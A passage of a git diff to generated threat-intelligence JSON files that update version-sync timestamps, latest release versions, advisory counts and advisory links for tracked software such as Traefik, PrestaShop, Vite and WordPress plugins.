- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -5195,7 +5208,7 @@
],
"version_sync_status": "green",
"security_version_count": 11,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/nuxt/nuxt/security/advisories/GHSA-vf6r-87q4-2vjf",
@@ -5247,7 +5260,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 11,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -5344,7 +5357,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"OpenCart Releases"
@@ -5398,7 +5411,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"OpenCart Releases"
],
@@ -5567,7 +5580,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API"
],
@@ -5617,7 +5630,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -5711,7 +5724,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"phpMyAdmin Security Page"
],
@@ -5832,7 +5845,7 @@
],
"version_sync_status": "green",
"security_version_count": 41,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Packagist p2",
"https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-35pf-37c6-jxjv",
@@ -5887,7 +5900,7 @@
],
"version_sync_status": "green",
"security_version_count": 9,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Friends Of Presta Security",
@@ -5947,7 +5960,7 @@
],
"version_sync_status": "green",
"security_version_count": 50,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub PrestaShop Advisories",
"Friends Of Presta Security",
@@ -6153,7 +6166,7 @@
],
"version_sync_status": "green",
"security_version_count": 102,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2007-5379",
@@ -6210,7 +6223,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 102,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -6320,7 +6333,7 @@
],
"version_sync_status": "green",
"security_version_count": 12,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2018-6341"
@@ -6368,7 +6381,7 @@
],
"version_sync_status": "green",
"security_version_count": 6,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/facebook/react",
@@ -6414,7 +6427,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 18,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -6502,7 +6515,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Redmine Security Advisories"
],
@@ -6623,7 +6636,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"GitHub Saleor Advisories"
@@ -6676,7 +6689,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Saleor Advisories"
],
@@ -6770,7 +6783,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Shopware Security Advisories"
@@ -6823,7 +6836,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Shopware Security Advisories"
],
@@ -6963,7 +6976,7 @@
],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"advisory-fixed-version",
"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-cm59-pr5q-cw85"
@@ -7007,7 +7020,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -7074,7 +7087,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -7152,7 +7165,7 @@
],
"version_sync_status": "green",
"security_version_count": 92,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"advisory-fixed-version",
"https://nvd.nist.gov/vuln/detail/CVE-2026-22732"
@@ -7196,7 +7209,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 92,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -7268,7 +7281,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Strapi GitHub Advisories"
@@ -7321,7 +7334,7 @@
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"Strapi GitHub Advisories"
],
@@ -7410,7 +7423,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/sveltejs/kit/security/advisories/GHSA-88qp-p4qg-rqm6",
@@ -7457,7 +7470,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -7520,7 +7533,7 @@
],
"version_sync_status": "green",
"security_version_count": 220,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"Packagist p2",
"https://github.com/symfony/symfony/security/advisories/GHSA-5pv8-ppvj-4h68"
@@ -7572,7 +7585,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 220,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -7631,18 +7644,19 @@
"repo_url": "https://github.com/traefik/traefik",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "2.11.42",
+ "latest_version": "3.7.0-ea.3",
"version_scheme": "semver-ish",
- "latest_release_at": "2026-03-26T09:02:56Z",
- "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "latest_release_at": "2026-03-26T11:10:20Z",
+ "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3",
"version_source_refs": [
"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2",
"https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48",
- "https://github.com/traefik/traefik/releases/tag/v2.11.42"
+ "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
],
"version_sync_status": "green",
"security_version_count": 8,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48",
@@ -7680,10 +7694,10 @@
"repo_url": "https://github.com/traefik/traefik",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "2.11.42",
+ "latest_version": "3.7.0-ea.3",
"version_scheme": "semver-ish",
- "latest_release_at": "2026-03-26T09:02:56Z",
- "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "latest_release_at": "2026-03-26T11:10:20Z",
+ "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3",
"version_source_refs": [
"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2",
"https://github.com/traefik/traefik/security/advisories/GHSA-gxrv-wf35-62w9",
@@ -7700,11 +7714,12 @@
"https://github.com/traefik/traefik/security/advisories/GHSA-4hjq-9h5c-252j",
"https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
"https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w",
- "https://github.com/traefik/traefik/releases/tag/v2.11.42"
+ "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3"
],
"version_sync_status": "green",
"security_version_count": 55,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/traefik/traefik/security/advisories/GHSA-gxrv-wf35-62w9",
@@ -7771,14 +7786,14 @@
"repo_url": "",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "2.11.42",
+ "latest_version": "3.7.0-ea.3",
"version_scheme": "vendor",
- "latest_release_at": "2026-03-26T09:02:56Z",
- "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v2.11.42",
+ "latest_release_at": "2026-03-26T11:10:20Z",
+ "latest_release_url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3",
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 63,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -7883,7 +7898,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
@@ -7941,7 +7956,7 @@
],
"version_sync_status": "green",
"security_version_count": 21,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/nodejs/undici/security/advisories/GHSA-3cvr-822r-rqcc",
@@ -8007,7 +8022,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 25,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -8091,7 +8106,7 @@
],
"version_sync_status": "green",
"security_version_count": 8,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3"
@@ -8138,7 +8153,7 @@
],
"version_sync_status": "green",
"security_version_count": 12,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3"
@@ -8187,7 +8202,7 @@
],
"version_sync_status": "green",
"security_version_count": 23,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6",
@@ -8248,7 +8263,7 @@
],
"version_sync_status": "green",
"security_version_count": 107,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2022-35204",
@@ -8312,7 +8327,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 150,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -8422,7 +8437,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2024-9506"
@@ -8466,7 +8481,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -8546,7 +8561,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -8615,7 +8630,7 @@
],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/pallets/werkzeug/security/advisories/GHSA-29vq-49wr-vm6x"
@@ -8659,7 +8674,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -8728,7 +8743,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Patchstack Database",
@@ -8790,7 +8805,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"Woo Developer Advisories",
"Patchstack Database"
@@ -9032,11 +9047,12 @@
"https://patchstack.com/database/wordpress/plugin/jetformbuilder/vulnerability/wordpress-jetformbuilder-plugin-3-5-6-2-unauthenticated-arbitrary-file-read-via-media-field-vulnerability",
"https://patchstack.com/database/wordpress/plugin/sina-extension-for-elementor/vulnerability/wordpress-sina-extension-for-elementor-plugin-3-7-0-authenticated-contributor-stored-cross-site-scripting-via-fancy-text-widget-and-countdown-widget-vulnerability",
"https://patchstack.com/database/wordpress/plugin/jet-engine/vulnerability/wordpress-jetengine-plugin-3-8-6-1-unauthenticated-sql-injection-via-listing-grid-filtered-query-parameter-vulnerability",
- "https://wordpress.org/news/2025/06/dropping-security-updates-for-wordpress-versions-4-1-through-4-6/"
+ "https://wordpress.org/news/2025/06/dropping-security-updates-for-wordpress-versions-4-1-through-4-6/",
+ "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability"
],
"version_sync_status": "green",
"security_version_count": 55,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"WPScan Vulnerability Database",
"Patchstack Database",
diff --git a/08-threat-intel/generated/dashboard/summary.json b/08-threat-intel/generated/dashboard/summary.json
index 48b0095d..71e275b9 100644
--- a/08-threat-intel/generated/dashboard/summary.json
+++ b/08-threat-intel/generated/dashboard/summary.json
@@ -1,9 +1,9 @@
{
- "generated_at": "2026-03-26T10:20:35+00:00",
- "advisory_count": 2419,
+ "generated_at": "2026-03-27T09:31:01+00:00",
+ "advisory_count": 2422,
"run_count": 140,
"statuses": {
- "triage-manual": 2330,
+ "triage-manual": 2333,
"verified-real": 89
},
"run_statuses": {
@@ -158,10 +158,10 @@
"green_source_count": 102,
"source_failure_count": 0,
"open_alert_count": 0,
- "last_fully_green_run": "2026-03-26T10:20:18+00:00"
+ "last_fully_green_run": "2026-03-27T09:30:44+00:00"
},
"entity_coverage": {
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:30:59+00:00",
"cataloged_entity_total": 110,
"candidate_entity_total": 7,
"history_full_complete_count": 41,
@@ -325,7 +325,7 @@
"entity_id": "astro--project--astro",
"entity_type": "project",
"display_name": "astro",
- "advisory_count": 12,
+ "advisory_count": 13,
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
@@ -967,6 +967,14 @@
"plugin": 1
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -975,14 +983,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
@@ -1935,11 +1935,11 @@
}
},
"version_coverage": {
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:31:00+00:00",
"cataloged_entity_total": 110,
"latest_version_synced_count": 95,
"source_gap_count": 15,
- "security_version_total": 6297,
+ "security_version_total": 6307,
"security_version_entity_count": 83,
"auto_promoted_entity_count": 10,
"lab_enqueued_count": 3,
@@ -2045,14 +2045,14 @@
"cataloged_entity_total": 3,
"latest_version_synced_count": 3,
"source_gap_count": 0,
- "security_version_count": 30,
+ "security_version_count": 32,
"auto_promoted_count": 0,
"latest_versions": [
{
"entity_id": "astro",
"display_name": "Astro",
"entity_type": "system",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"version_sync_status": "green"
},
@@ -2060,7 +2060,7 @@
"entity_id": "astro--project--astro",
"display_name": "astro",
"entity_type": "project",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"latest_release_at": "2025-11-27T08:22:36.525875Z",
"version_sync_status": "green"
},
@@ -2068,7 +2068,7 @@
"entity_id": "astro--module--astro",
"display_name": "astro",
"entity_type": "module",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"version_sync_status": "green"
}
@@ -2332,16 +2332,16 @@
"entity_id": "ghost",
"display_name": "Ghost",
"entity_type": "system",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
},
{
"entity_id": "ghost--repo--tryghost-ghost",
"display_name": "TryGhost / Ghost",
"entity_type": "repo",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
}
]
@@ -2584,7 +2584,7 @@
"cataloged_entity_total": 5,
"latest_version_synced_count": 5,
"source_gap_count": 0,
- "security_version_count": 3840,
+ "security_version_count": 3848,
"auto_promoted_count": 0,
"latest_versions": [
{
@@ -2595,14 +2595,6 @@
"latest_release_at": "2023-10-03",
"version_sync_status": "green"
},
- {
- "entity_id": "mattermost--project--mattermost-server",
- "display_name": "Mattermost Server",
- "entity_type": "project",
- "latest_version": "26.2.1",
- "latest_release_at": "2023-10-03",
- "version_sync_status": "green"
- },
{
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"display_name": "mattermost / mattermost-server",
@@ -2611,6 +2603,14 @@
"latest_release_at": "2026-03-16T08:26:52Z",
"version_sync_status": "green"
},
+ {
+ "entity_id": "mattermost--project--mattermost-server",
+ "display_name": "Mattermost Server",
+ "entity_type": "project",
+ "latest_version": "26.2.1",
+ "latest_release_at": "2023-10-03",
+ "version_sync_status": "green"
+ },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"display_name": "Mattermost Plugins",
@@ -3153,24 +3153,24 @@
"entity_id": "traefik",
"display_name": "Traefik",
"entity_type": "system",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "repo",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
},
{
"entity_id": "traefik--extension--github-com-traefik-traefik-v3",
"display_name": "traefik / traefik / v3",
"entity_type": "extension",
- "latest_version": "2.11.42",
- "latest_release_at": "2026-03-26T09:02:56Z",
+ "latest_version": "3.7.0-ea.3",
+ "latest_release_at": "2026-03-26T11:10:20Z",
"version_sync_status": "green"
}
]
@@ -3443,7 +3443,7 @@
"system": 1
},
"latest_version": "51.1.49",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 54
},
@@ -3552,7 +3552,7 @@
"system": 1
},
"latest_version": "11.0-doc",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -3649,7 +3649,7 @@
"system": 1
},
"latest_version": "2.4.x",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 1
},
@@ -3794,7 +3794,7 @@
"repo": 1
},
"latest_version": "8.2.5",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 59
},
@@ -3895,7 +3895,7 @@
"repo": 1
},
"latest_version": "10.6.1",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 10
},
@@ -3971,7 +3971,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4044,7 +4044,7 @@
"system": 1
},
"latest_version": "1017-20260102-core-xss-vector-in-the-pagebreak-plugin.html",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 5
},
@@ -4175,7 +4175,7 @@
"repo": 1
},
"latest_version": "3.0.5.0",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -4300,7 +4300,7 @@
"repo": 1
},
"latest_version": "2.4.9-beta1",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 6
},
@@ -4401,7 +4401,7 @@
"project": 1
},
"latest_version": "1.0.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 182
},
@@ -4465,7 +4465,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4596,7 +4596,7 @@
"repo": 1
},
"latest_version": "6.7.8.2",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -4669,7 +4669,7 @@
"system": 1
},
"latest_version": "11.2.8",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 74
},
@@ -4742,7 +4742,7 @@
"system": 1
},
"latest_version": "28-10-2025",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 252
},
@@ -4887,7 +4887,7 @@
"project": 1
},
"latest_version": "16.2.1",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 168
},
@@ -4951,7 +4951,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -5015,7 +5015,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -5094,7 +5094,7 @@
"system": 1
},
"latest_version": "2026-4363---incorrect-authorization-issue-in-authorization-caching-impacts-gitlab-ee",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 625
},
@@ -5196,7 +5196,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -5269,7 +5269,7 @@
"system": 1
},
"latest_version": "5.2.3-all-languages.zip",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -5342,7 +5342,7 @@
"system": 1
},
"latest_version": "6.1.2",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -5406,7 +5406,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
